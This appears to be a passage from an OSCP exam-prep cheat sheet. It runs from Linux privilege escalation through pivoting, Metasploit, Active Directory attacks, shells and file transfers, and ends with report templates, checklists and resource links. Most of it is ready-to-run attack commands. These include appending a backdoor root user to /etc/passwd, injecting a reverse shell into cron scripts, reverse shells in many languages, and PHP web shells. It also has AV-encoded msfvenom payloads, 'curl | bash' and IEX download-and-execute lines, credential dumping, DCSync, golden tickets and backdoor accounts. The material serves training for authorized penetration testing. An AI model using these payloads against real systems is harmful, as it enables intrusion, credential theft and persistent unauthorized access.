wget http://<LHOST>/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh | tee /tmp/lp.out
# Download: https://github.com/peass-ng/PEASS-ng/releases

# pspy (watch processes without root — catch cron jobs)
./pspy64
# Download: https://github.com/DominicBreuker/pspy/releases

SUID Binary Abuse

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Cross-reference: https://gtfobins.github.io/#+suid
# Common exploits:

# find
find . -exec /bin/sh -p \; -quit

# vim
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# bash (if SUID set)
bash -p

# cp (add root user to /etc/passwd)
openssl passwd -1 -salt xyz "rootpass"    # Get hash
echo "r00t:HASH:0:0:root:/root:/bin/bash" | cp /dev/stdin /etc/passwd

Capabilities

getcap -r / 2>/dev/null

# Dangerous capabilities:
# cap_setuid — can change UID to 0
# cap_dac_override — bypass file read/write permissions

# Python3 cap_setuid exploit
/usr/bin/python3 = cap_setuid+eip
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

# Perl cap_setuid
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

Sudo Abuse

sudo -l     # Always check first

# GTFOBins for sudo: https://gtfobins.github.io/#+sudo

# Common examples:
sudo find . -exec /bin/bash \; -quit          # find
sudo python3 -c 'import os; os.system("/bin/bash")'  # python
sudo vim -c ':!/bin/bash'                     # vim
sudo awk 'BEGIN {system("/bin/bash")}'         # awk
sudo less /etc/passwd → !/bin/bash            # less (inside pager)
sudo nano → Ctrl+R Ctrl+X → reset; sh 1>&0 2>&0  # nano

Cron Job Abuse

cat /etc/crontab
ls -la /etc/cron.*
crontab -l
./pspy64     # Watch cron jobs fire in real-time

# If cron runs a script you can write to:
echo 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1' >> /path/to/cron_script.sh
chmod +x /path/to/cron_script.sh
# Start listener and wait

# PATH hijack in cron:
# If cron PATH includes /tmp and script uses relative binary name:
echo '#!/bin/bash' > /tmp/targetbinary
echo 'chmod +s /bin/bash' >> /tmp/targetbinary
chmod +x /tmp/targetbinary
# Wait for cron → bash -p

Writable /etc/passwd

# Generate password hash
openssl passwd -1 -salt xyz "password123"
# Output: $1$xyz$abcdef...

# Append backdoor user
echo 'r00t:$1$xyz$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
su r00t

14 Port Redirection & SSH Tunneling

Why Pivot?

Kali → [Internet] → Compromised DMZ → [Internal Network] → Internal Target

Without pivoting: Kali cannot reach Internal Target
With pivoting:    Traffic flows Kali → DMZ → Target

SSH Local Port Forwarding

# Access internal service through jump host
ssh -L <local_port>:<target_host>:<target_port> <user>@<jump_host>

# Example: reach internal web server
ssh -L 8080:192.168.1.100:80 user@jumphost
curl http://127.0.0.1:8080    # Access internal server via localhost

# Persistent, background, no shell
ssh -L 8080:192.168.1.100:80 user@jumphost -N -f

SSH Dynamic (SOCKS Proxy)

# Create SOCKS5 proxy
ssh -D 1080 user@jumphost -N

# Configure /etc/proxychains.conf:
# Add line: socks5 127.0.0.1 1080

# Route any tool through the proxy
proxychains nmap -sT -Pn -p 80,443,445 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24
proxychains evil-winrm -i 192.168.1.50 -u admin -p pass

SSH Remote Port Forwarding

# Expose internal port back to attacker (when target is behind firewall)
ssh -R <LHOST_port>:localhost:<victim_local_port> kali@<LHOST>

# Example: victim exposes its internal port 8080 to attacker's 9090
ssh -R 9090:localhost:8080 kali@<LHOST>
# Now attacker: curl http://127.0.0.1:9090

Chisel (HTTP Tunneling — Great for Firewall Bypass)

# Download: https://github.com/jpillora/chisel/releases

# Attacker
./chisel server -p 8080 --reverse

# Victim
./chisel client <LHOST>:8080 R:socks     # SOCKS5 on attacker port 1080
./chisel client <LHOST>:8080 R:9090:127.0.0.1:3306   # Forward specific port

# Use proxychains: socks5 127.0.0.1 1080

Ligolo-ng (Best for OSCP — Full Tunnel)

# Download: https://github.com/nicocha30/ligolo-ng/releases

# Attacker setup
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# Victim (Linux or Windows)
./agent -connect <LHOST>:11601 -ignore-cert

# Attacker console:
session                    # Select agent
start                      # Start tunnel
sudo ip route add 192.168.1.0/24 dev ligolo   # Route internal network

# Now access internal IPs directly from Kali!
nmap 192.168.1.0/24
crackmapexec smb 192.168.1.100

# Reverse listener (for shells from internal machines back to Kali)
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444

Socat Relay

# Listen and forward
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

# Chain relay (hop through multiple hosts)
socat TCP-LISTEN:9999,fork TCP:<NEXT_HOP>:9999

DNS Tunneling (dnscat2)

# When only DNS outbound traffic is allowed
# Attacker
ruby dnscat2.rb --dns domain=attacker.com,host=<LHOST>

# Victim
./dnscat2 --dns domain=attacker.com

15 The Metasploit Framework

Core Navigation

sudo msfdb init && msfconsole

search <term>           # Search modules
use <module path>       # Load module
info                    # Module details
show options            # Required/optional settings
show payloads           # Compatible payloads
set RHOSTS 192.168.1.10
set LHOST tun0
set LPORT 4444
run                     # Execute (also: exploit)
back                    # Exit module
sessions -l             # List sessions
sessions -i 1           # Interact with session 1

Staged vs Non-Staged

windows/shell_reverse_tcp       Non-staged (self-contained, works with nc)
windows/shell/reverse_tcp       Staged (requires Metasploit handler)
windows/meterpreter/reverse_tcp Staged Meterpreter (most features)

Use non-staged: small buffers, simple nc listeners
Use staged: Meterpreter needed, reliable connection

Meterpreter Quick Reference

sysinfo; getuid; getpid
ps                       # Process list
migrate <PID>            # Migrate for stability
shell                    # System shell
background               # Ctrl+Z — background session

# Files
ls; pwd; cd /tmp
upload /kali/file C:\\Windows\\Temp\\file
download C:\\secret.txt /tmp/

# Privilege escalation
getsystem               # Try automatic privesc to SYSTEM
getprivs                # List current privileges

# Credentials
load kiwi
creds_all               # Dump all credentials
lsa_dump_sam            # Dump SAM

# Pivoting
route add 192.168.1.0/24 1       # Route through session 1
use auxiliary/server/socks_proxy
set SRVPORT 1080; run

16 Active Directory — Enumeration

AD Basics

Domain Controller (DC) — Auth server; holds NTDS.dit (all AD data)
Domain              — Logical boundary; users, computers, groups
Forest              — Collection of domains sharing schema
Trust               — Auth relationship between domains
OU                  — Container for organizing AD objects
GPO                 — Policy applied to OU (login scripts, restrictions)
SPN                 — Service Principal Name; used for Kerberos auth

Manual Enumeration

net user /domain
net user <user> /domain
net group /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net accounts /domain          :: Password policy
nltest /domain_trusts
nltest /dclist:<domain>

PowerView (Most Used in OSCP)

. .\PowerView.ps1         # dot-source to load

Get-Domain
Get-DomainController
Get-DomainPolicyData | Select -Expand SystemAccess    # Password policy

# Users
Get-DomainUser | Select samaccountname,memberof,description
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname    # Kerberoastable
Get-DomainUser -PreauthNotRequired | Select samaccountname           # AS-REP roastable

# Groups
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins" | Select MemberName

# Computers
Get-DomainComputer | Select name,operatingsystem
Get-DomainComputer -Unconstrained | Select dnshostname   # Unconstrained delegation

# Local admin access
Find-LocalAdminAccess                        # Where does our user have local admin?
Get-NetLocalGroupMember -ComputerName <host>

# Shares
Find-DomainShare
Find-InterestingDomainShareFile -Include *.txt,*.ps1,*.bat,*.xml

# ACL abuse
Find-InterestingDomainAcl -ResolveGUIDs
Get-ObjectAcl -SamAccountName <user> -ResolveGUIDs

BloodHound + SharpHound

# Windows collection
.\SharpHound.exe -c All --zipfilename bh.zip

# Linux collection (if domain creds available)
bloodhound-python -d domain.com -u <user> -p <pass> -ns <DC_IP> -c All

# Run BloodHound on Kali
sudo neo4j start
bloodhound &
# Login: neo4j / neo4j (change on first login)
# Import: drag .zip file into BloodHound

# Key pre-built queries:
# "Find Shortest Paths to Domain Admins"
# "Find All Domain Admins"
# "List All Kerberoastable Accounts"
# "Find AS-REP Roastable Users"
# "Find Principals with DCSync Rights"
# "Computers where Domain Users are Local Admin"

17 Active Directory — Attacks

AS-REP Roasting

# No credentials needed (unauthenticated)
GetNPUsers.py domain.com/ -dc-ip <DC_IP> -no-pass -usersfile users.txt -request

# With credentials
GetNPUsers.py domain.com/user:pass -dc-ip <DC_IP> -request

# Windows (Rubeus)
.\Rubeus.exe asreproast /nowrap

# Crack
hashcat -m 18200 asrep.hash rockyou.txt

Kerberoasting

# Requires: valid domain credentials
GetUserSPNs.py domain.com/user:pass -dc-ip <DC_IP> -request -outputfile kerb.hash

# Windows (Rubeus)
.\Rubeus.exe kerberoast /outfile:kerb.hash /nowrap

# Windows (PowerView)
Get-DomainUser -SPN | Select samaccountname
Request-SPNTicket -SPN "MSSQLSvc/host.domain.com" -Format Hashcat

# Crack
hashcat -m 13100 kerb.hash rockyou.txt

Pass-the-Hash

# Use NTLM hash directly without cracking
psexec.py domain.com/Administrator@<IP> -hashes :<NTLM>
wmiexec.py domain.com/Administrator@<IP> -hashes :<NTLM>
evil-winrm -i <IP> -u Administrator -H <NTLM>
crackmapexec smb <IP> -u Administrator -H <NTLM>

# Mimikatz (Windows)
sekurlsa::pth /user:Administrator /domain:. /ntlm:<HASH> /run:cmd.exe

Overpass-the-Hash

# Convert NTLM hash to Kerberos TGT
# Mimikatz:
sekurlsa::pth /user:User /domain:domain.com /ntlm:<HASH> /run:powershell.exe
# In new PS window:
net use \\DC\C$    # Forces Kerberos with the injected hash

# Rubeus:
.\Rubeus.exe asktgt /user:User /rc4:<NTLM> /domain:domain.com /dc:<DC_IP> /ptt

DCSync Attack

# Requires: Domain Admin or delegated DCSync rights (GetChanges + GetChangesAll)
# Mimikatz:
lsadump::dcsync /domain:domain.com /user:Administrator
lsadump::dcsync /domain:domain.com /all /csv

# Impacket:
secretsdump.py domain.com/Administrator:pass@<DC_IP>
secretsdump.py -hashes :<NTLM> domain.com/Administrator@<DC_IP>

Golden Ticket

# Forge any TGT using krbtgt hash — persistent DA access
# Get krbtgt hash via DCSync first
# Get domain SID: whoami /user → remove last -XXXX

# Mimikatz:
kerberos::golden /user:Administrator /domain:domain.com \
  /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_NTLM> /id:500 /ptt

# Impacket:
ticketer.py -nthash <KRBTGT_HASH> -domain-sid <SID> -domain domain.com Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py domain.com/Administrator@<host> -k -no-pass

Silver Ticket

# Forge TGS for specific service (no DC contact needed)
# Requires: service account NTLM hash + domain SID

# Mimikatz:
kerberos::golden /user:Administrator /domain:domain.com /sid:<SID> \
  /target:<SERVICE_HOST> /service:cifs /rc4:<SERVICE_NTLM> /ptt

ACL Abuse

# If GenericAll/GenericWrite/ForceChangePassword on a user:
$Password = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity <target_user> -AccountPassword $Password

# Add to group (GenericAll on group):
Add-DomainGroupMember -Identity "Domain Admins" -Members <our_user>

18 Active Directory — Lateral Movement

PsExec

# Impacket (spawns SYSTEM shell via SMB)
psexec.py domain.com/Administrator:pass@<IP>
psexec.py domain.com/Administrator@<IP> -hashes :<NTLM>

WMI

# Impacket
wmiexec.py domain.com/Administrator:pass@<IP>
wmiexec.py domain.com/Administrator@<IP> -hashes :<NTLM>

# Windows
wmic /node:<host> /user:Administrator /password:pass process call create "cmd.exe /c whoami > C:\out.txt"

WinRM / Evil-WinRM

# Port 5985 (HTTP) or 5986 (HTTPS)
evil-winrm -i <IP> -u Administrator -p pass
evil-winrm -i <IP> -u Administrator -H <NTLM>
evil-winrm -i <IP> -u Administrator -p pass -s /scripts/   # Load PS scripts

DCOM

# MMC20.Application
$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<host>"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe","","/c powershell -enc <B64>","7")

19 Active Directory — Persistence

Golden Ticket (see section 17)

Shadow Copies (VSS)

:: Create volume shadow copy
vssadmin create shadow /for=C:

:: Extract NTDS.dit (all AD hashes) and SYSTEM hive
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.bak

:: Transfer to Kali, then dump all hashes:
secretsdump.py -ntds ntds.dit -system system.bak LOCAL

Backdoor Account

net user backdoor Password123! /add
net localgroup administrators backdoor /add
net localgroup "Remote Desktop Users" backdoor /add

20 Shells & File Transfers

Start a Listener

nc -lvnp 4444
rlwrap nc -lvnp 4444    # Arrow keys + history (recommended)

Reverse Shells

# Bash
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash"])'

# Netcat (with -e)
nc -e /bin/sh <LHOST> <LPORT>

# Netcat (without -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f

# PHP
php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# PowerShell (standard)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback + 'PS '+(pwd).Path+'> ');$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Reverse shell generator: https://www.revshells.com/

Web Shells

<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['c']); ?>
<?php passthru($_GET['cmd']); ?>

TTY Shell Upgrade

# Step 1 — spawn PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
perl -e 'exec "/bin/bash";'
script -qc /bin/bash /dev/null

# Step 2 — background with Ctrl+Z

# Step 3 — in local terminal
stty raw -echo; fg

# Step 4 — in remote shell
reset
export TERM=xterm-256color
export SHELL=bash
stty rows 50 cols 200

MSFVenom Payload Generation

# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf

# Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe

# PHP
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw -o shell.php

# ASP / ASPX
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp -o shell.asp
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f aspx -o shell.aspx

# WAR (Java/Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war -o shell.war

# With encoding (basic AV evasion)
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> \
  -e x86/shikata_ga_nai -i 10 -f exe -o encoded.exe

File Transfer

# ── LINUX VICTIM ──────────────────────────────────────────────────────
# Start server on Kali
python3 -m http.server 80

wget http://<LHOST>/file -O /tmp/file
curl http://<LHOST>/file -o /tmp/file
curl http://<LHOST>/shell.sh | bash     # Execute directly

# SCP (if SSH available)
scp file user@<IP>:/tmp/file

# ── WINDOWS VICTIM ────────────────────────────────────────────────────
# PowerShell
(New-Object Net.WebClient).DownloadFile('http://<LHOST>/file.exe','C:\Windows\Temp\file.exe')
Invoke-WebRequest -Uri http://<LHOST>/file.exe -OutFile C:\Windows\Temp\file.exe
IEX(New-Object Net.WebClient).DownloadString('http://<LHOST>/shell.ps1')  # In-memory exec

# certutil (built-in, often bypasses filters)
certutil -urlcache -f http://<LHOST>/file.exe C:\Windows\Temp\file.exe

# bitsadmin
bitsadmin /transfer job http://<LHOST>/file.exe C:\Windows\Temp\file.exe

# SMB share (no auth, Impacket)
impacket-smbserver share . -smb2support
# On Windows: copy \\<LHOST>\share\file.exe C:\Windows\Temp\

21 Reporting Templates

Executive Summary

# Penetration Test Report

**Client:** COMPANY NAME
**Assessor:** Your Name
**Date:** YYYY-MM-DD
**Type:** Internal Network / External / Web Application

## Executive Summary

A penetration test was conducted between [DATE] and [DATE] against [SCOPE].
[N] vulnerabilities were identified, including [N] critical findings.
The most severe finding ([TITLE]) allowed [IMPACT]. Immediate remediation
is recommended for all critical and high severity issues.

## Risk Summary

| Severity | Count |
|----------|-------|
| Critical | X     |
| High     | X     |
| Medium   | X     |
| Low      | X     |

## Key Recommendations
1. Patch [critical vuln] on [systems] — IMMEDIATE
2. Disable [insecure protocol/config] — 30 days
3. Implement [monitoring / MFA / segmentation] — 90 days

Technical Finding

## Finding: [Vulnerability Title]

| Field       | Value                |
|-------------|----------------------|
| Severity    | Critical             |
| CVSS        | 9.8                  |
| CVE         | CVE-XXXX-XXXXX       |
| Host        | 192.168.x.x          |
| Port        | 445/SMB              |

### Description
[Technical explanation of what the vulnerability is and why it exists.]

### Evidence
[Command used + output. Screenshot reference.]

### Impact
This vulnerability allows an unauthenticated attacker to execute arbitrary
commands as SYSTEM on the target host, leading to full system compromise.

### Remediation
1. Apply Microsoft Security Update [KB number]
2. Disable SMBv1 if not already done
3. Reference: https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXXX

Proof of Compromise

## Proof: [HOSTNAME] — [IP ADDRESS]

**Access Level:** Root / SYSTEM / Domain Admin
**Method:** [Exploitation technique]

### Attack Chain
1. Port scan revealed port XX running [service version]
2. Exploited [CVE / technique] to gain shell as [user]
3. Enumerated [linpeas/winpeas] and identified [privesc vector]
4. Escalated via [method] to root/SYSTEM

### Local Flag
[user@host]$ cat /home/user/local.txt
d41d8cd98f00b204e9800998ecf8427e

### Root/SYSTEM Flag
root@host:~# id && hostname && ip a && cat /root/proof.txt
uid=0(root) gid=0(root) groups=0(root)
target-host
[ip output]
5d41402abc4b2a76b9719d911017c592

> Screenshot: id + hostname + ip + proof.txt in ONE unedited frame

22 OSCP Exam Checklists

Exam Day Setup

[ ] VPN connected and tested before start
[ ] Note-taking tool open (Obsidian / CherryTree)
[ ] Folder structure per machine: /root/exam/<IP>/
[ ] Listener ready: rlwrap nc -lvnp 443
[ ] HTTP server ready: python3 -m http.server 80
[ ] Tools ready on Kali: linpeas.sh, winpeas.exe, ligolo, chisel
[ ] Wordlists accessible: rockyou.txt, seclists

OSCP Scoring

AD Set (40 points):
  Initial foothold on any AD machine  → partial
  Domain Admin (complete set)         → 40 pts

Standalone Machines (20 pts each × 3 = 60 pts):
  local.txt  (low-privilege shell)    → 10 pts
  proof.txt  (root/SYSTEM)            → 10 pts

Minimum to pass: 70 points + submitted report

Per-Machine Checklist

RECON
[ ] nmap -p- --min-rate 5000 <IP>
[ ] nmap -sC -sV -p <ports> <IP>
[ ] nmap -sU --top-ports 20 <IP>
[ ] Add hostname to /etc/hosts

ENUMERATION (by port)
[ ] 21/FTP    — anonymous login, list files
[ ] 22/SSH    — version, try found creds
[ ] 25/SMTP   — user enumeration
[ ] 80/443    — gobuster, nikto, manual review, burp
[ ] 139/445   — enum4linux-ng, smbclient, CME
[ ] 161/UDP   — snmpwalk public
[ ] 389/LDAP  — anonymous bind
[ ] 1433/MSSQL — version, auth, xp_cmdshell
[ ] 3306/MySQL — version, auth

EXPLOITATION
[ ] searchsploit all identified versions
[ ] Try default credentials
[ ] Manually test web inputs (XSS, SQLi, LFI, upload, cmd injection)
[ ] Review page source, JS, robots.txt
[ ] Document exact commands used

POST-EXPLOITATION
[ ] Screenshot: whoami + hostname + ip + flag in ONE image
[ ] cat local.txt / cat proof.txt
[ ] Check /etc/passwd or SAM/NTDS
[ ] Run linpeas / winpeas
[ ] Run pspy64 (Linux)
[ ] Check internal IPs for pivot targets

PRIVILEGE ESCALATION — Linux
[ ] sudo -l
[ ] SUID: find / -perm -4000 2>/dev/null
[ ] Capabilities: getcap -r / 2>/dev/null
[ ] Cron: cat /etc/crontab + pspy
[ ] Writable files in root paths
[ ] Credential files / history

PRIVILEGE ESCALATION — Windows
[ ] whoami /priv (SeImpersonatePrivilege?)
[ ] Unquoted service paths
[ ] Service binary permissions (icacls)
[ ] AlwaysInstallElevated (reg query)
[ ] Scheduled tasks
[ ] Credential files / registry

PROOF
[ ] root/SYSTEM shell obtained
[ ] Single screenshot: id/whoami + hostname + ip a/ipconfig + proof.txt
[ ] Both flags saved to notes

Report Submission Checklist

[ ] Full attack narrative for EVERY machine
[ ] Every command used documented (copy from terminal)
[ ] Screenshots: local.txt + proof.txt per machine
[ ] Screenshots: all major steps (vuln ID → exploit → privesc)
[ ] All custom exploit code included
[ ] Report saved as PDF
[ ] Submitted within 24 hours of exam end
[ ] Submission confirmation email received

23 Essential Resources & Links

OffSec Official

Resource URL
PEN-200 Course https://www.offsec.com/courses/pen-200/
OSCP Exam Guide https://help.offsec.com/hc/en-us/articles/360040165632
PWK Syllabus PDF https://www.offsec.com/documentation/penetration-testing-with-kali.pdf
Proving Grounds Practice https://www.offsec.com/labs/

Exploit & Vulnerability Databases

Resource URL
Exploit-DB https://www.exploit-db.com/
NVD (CVE details) https://nvd.nist.gov/
MITRE CVE https://cve.mitre.org/
PacketStorm https://packetstormsecurity.com/
Vulners https://vulners.com/
Rapid7 Vuln DB https://www.rapid7.com/db/
Google GHDB https://www.exploit-db.com/google-hacking-database

Cheat Sheets & References

Resource URL
GTFOBins (Linux SUID/sudo) https://gtfobins.github.io/
LOLBAS (Windows LOtL) https://lolbas-project.github.io/
Reverse Shell Generator https://www.revshells.com/
PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings
HackTricks https://book.hacktricks.xyz/
PentestMonkey Shells https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Ippsec HTB Search https://ippsec.rocks/
The Hacker Recipes (AD) https://www.thehacker.recipes/
adsecurity.org (AD) https://adsecurity.org/

OSINT & Passive Recon Tools

Tool URL
Shodan https://www.shodan.io/
Netcraft DNS https://searchdns.netcraft.com/
crt.sh https://crt.sh/
DNSdumpster https://dnsdumpster.com/
Hunter.io https://hunter.io/
Security Headers https://securityheaders.com/
SSL Labs https://www.ssllabs.com/ssltest/
VirusTotal https://www.virustotal.com/

Password & Hash

Resource URL
CrackStation https://crackstation.net/
Hashes.com https://hashes.com/en/decrypt/hash
SecLists https://github.com/danielmiessler/SecLists
JuicyPotato CLSIDs https://github.com/ohpe/juicy-potato/tree/master/CLSID

Active Directory Tools

Tool URL
BloodHound https://github.com/BloodHoundAD/BloodHound
Impacket https://github.com/fortra/impacket
Rubeus https://github.com/GhostPack/Rubeus
PowerSploit / PowerView https://github.com/PowerShellMafia/PowerSploit
Evil-WinRM https://github.com/Hackplayers/evil-winrm
CrackMapExec https://github.com/byt3bl33d3r/CrackMapExec

Privilege Escalation Tools

Tool URL
PEASS-ng (linpeas/winpeas) https://github.com/peass-ng/PEASS-ng
pspy https://github.com/DominicBreuker/pspy
GodPotato https://github.com/BeichenDream/GodPotato
PrintSpoofer https://github.com/itm4n/PrintSpoofer
Ligolo-ng https://github.com/nicocha30/ligolo-ng
Chisel https://github.com/jpillora/chisel

Web App Testing

Resource URL
OWASP Top 10 https://owasp.org/www-project-top-ten/
PortSwigger Web Academy https://portswigger.net/web-security
PayloadBox https://github.com/payloadbox

Practice Platforms

Platform URL Notes
Hack The Box https://www.hackthebox.com/ TJNull OSCP list
TryHackMe https://tryhackme.com/ Beginner-friendly
OffSec Proving Grounds https://www.offsec.com/labs/ Closest to OSCP
VulnHub https://www.vulnhub.com/ Offline VMs
TJNull OSCP HTB list https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/ Community list

Wordlist Locations on Kali

Wordlist Path
rockyou.txt /usr/share/wordlists/rockyou.txt
SecLists root /usr/share/seclists/
Dirbuster lists /usr/share/wordlists/dirbuster/
Common passwords /usr/share/seclists/Passwords/Common-Credentials/
Usernames /usr/share/seclists/Usernames/
DNS subdomains /usr/share/seclists/Discovery/DNS/
Web content /usr/share/seclists/Discovery/Web-Content/
SNMP communities /usr/share/seclists/Discovery/SNMP/

OSCP PEN-200 Master Database | Based on OffSec Official “The quieter you become, the more you are able to hear.” — Try Harder.

By DarcHacker.

LinkedIn:www.linkedin.com/in/mostafa-ibrahim-60b543341